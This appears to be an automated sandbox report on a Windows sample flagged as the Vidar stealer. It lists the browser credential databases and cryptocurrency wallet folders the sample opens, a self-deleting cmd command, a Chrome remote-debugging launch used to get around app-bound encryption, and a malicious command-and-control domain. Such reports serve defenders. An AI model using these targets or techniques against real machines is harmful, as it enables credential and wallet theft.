Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: uykb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: uykb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: uykb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: uykb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: uykb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: uykb.exe

Static PE information: section name: .00cfg

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Users\user\Desktop\uykb.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\uykb.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Windows\SysWOW64\timeout.exe TID: 9192

Thread sleep count: 82 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\uykb.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00421A6B FindFirstFileA,	0_2_00421A6B
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00420AD3 FindFirstFileA,	0_2_00420AD3
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040F379 FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,	0_2_0040F379
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040BC0C FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,	0_2_0040BC0C
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00422DC5 FindFirstFileA,FindNextFileA,	0_2_00422DC5
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040A5E0 FindFirstFileA,FindNextFileA,CopyFileA,DeleteFileA,memset,CopyFileA,DeleteFileA,memset,	0_2_0040A5E0
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_00401590 FindFirstFileA,	0_2_00401590
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0040CF73 FindFirstFileA,FindNextFileA,	0_2_0040CF73
Source: C:\Users\user\Desktop\uykb.exe	Code function: 0_2_0041FF89 FindFirstFileA,memset,memset,memset,memset,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,	0_2_0041FF89

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_004199AE GetSystemInfo,

0_2_004199AE

Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: l6xtrq.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: l6xtrq.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: l6xtrq.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: l6xtrq.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: l6xtrq.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: l6xtrq.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: l6xtrq.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: uykb.exe, 00000000.00000002.2660773016.000000000066E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{m%SystemRoot%\system32\mswsock.dll
Source: l6xtrq.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: l6xtrq.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: l6xtrq.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: l6xtrq.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: l6xtrq.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: l6xtrq.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: l6xtrq.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: l6xtrq.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: l6xtrq.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: l6xtrq.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: l6xtrq.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\uykb.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Source: C:\Users\user\Desktop\uykb.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\g4op8" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\uykb.exe

Code function: GetLocaleInfoA,

0_2_0041978F

Source: C:\Users\user\Desktop\uykb.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\uykb.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_004241F0 EntryPoint,GetUserNameW,

0_2_004241F0

Source: C:\Users\user\Desktop\uykb.exe

Code function: 0_2_00419706 GetTimeZoneInformation,

0_2_00419706

Source: C:\Users\user\Desktop\uykb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uykb.exe PID: 1432, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: uykb.exe, 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus Web3 Wallet
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: uykb.exe, 00000000.00000002.2660773016.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \MultiDoge\
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: uykb.exe, 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: uykb.exe, 00000000.00000002.2661400975.0000000003280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\uykb.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\uykb.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\uykb.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\uykb.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2660773016.00000000006D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uykb.exe PID: 1432, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\uykb.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000000.00000003.2219437154.00000000006E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2175258608.00000000006E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uykb.exe PID: 1432, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Create Account	111 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	1 Credentials in Registry	11 Query Registry	Remote Desktop Protocol	4 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	111 Process Injection	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	2 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	3 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	34 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
uykb.exe	61%	ReversingLabs	Win32.Trojan.Generic
uykb.exe	69%	Virustotal		Browse
uykb.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://getyour.cyou/ge/	100%	Avira URL Cloud	malware
https://getyour.cyou/geeodpfagjceefieflmdfphplkenlfk	100%	Avira URL Cloud	malware
https://getyour.cyoux	0%	Avira URL Cloud	safe
https://getyour.cyou/i	100%	Avira URL Cloud	malware
https://getyour.cyou/wbi5	100%	Avira URL Cloud	malware
https://getyour.cyou/g	100%	Avira URL Cloud	malware
https://getyour.cyou/o	100%	Avira URL Cloud	malware
https://getyour.cyou4	0%	Avira URL Cloud	safe
https://getyour.cyou0	0%	Avira URL Cloud	safe
https://getyour.cyou/N#	100%	Avira URL Cloud	malware
https://getyour.cyou	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.185.78	true	false	high
a416.dscd.akamai.net	2.19.126.152	true	false	high
t.me	149.154.167.99	true	false	high
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	13.74.129.1	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
getyour.cyou	116.202.5.153	true	false	high
play.google.com	142.250.186.110	true	false	high
sb.scorecardresearch.com	13.32.99.90	true	false	high
www.google.com	216.58.212.164	true	false	high
e28578.d.akamaiedge.net	2.23.209.3	true	false	high
googlehosted.l.googleusercontent.com	142.250.185.97	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://c.msn.com/c.gif?rnd=1738443564565&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=31f15e03b2404dcfac21a960ae4275da&activityId=31f15e03b2404dcfac21a960ae4275da&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FADFB181D3F24DB79D23B475768CF6D1&MUID=2B3EBBCF6B2A66521035AE496A5867C7	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
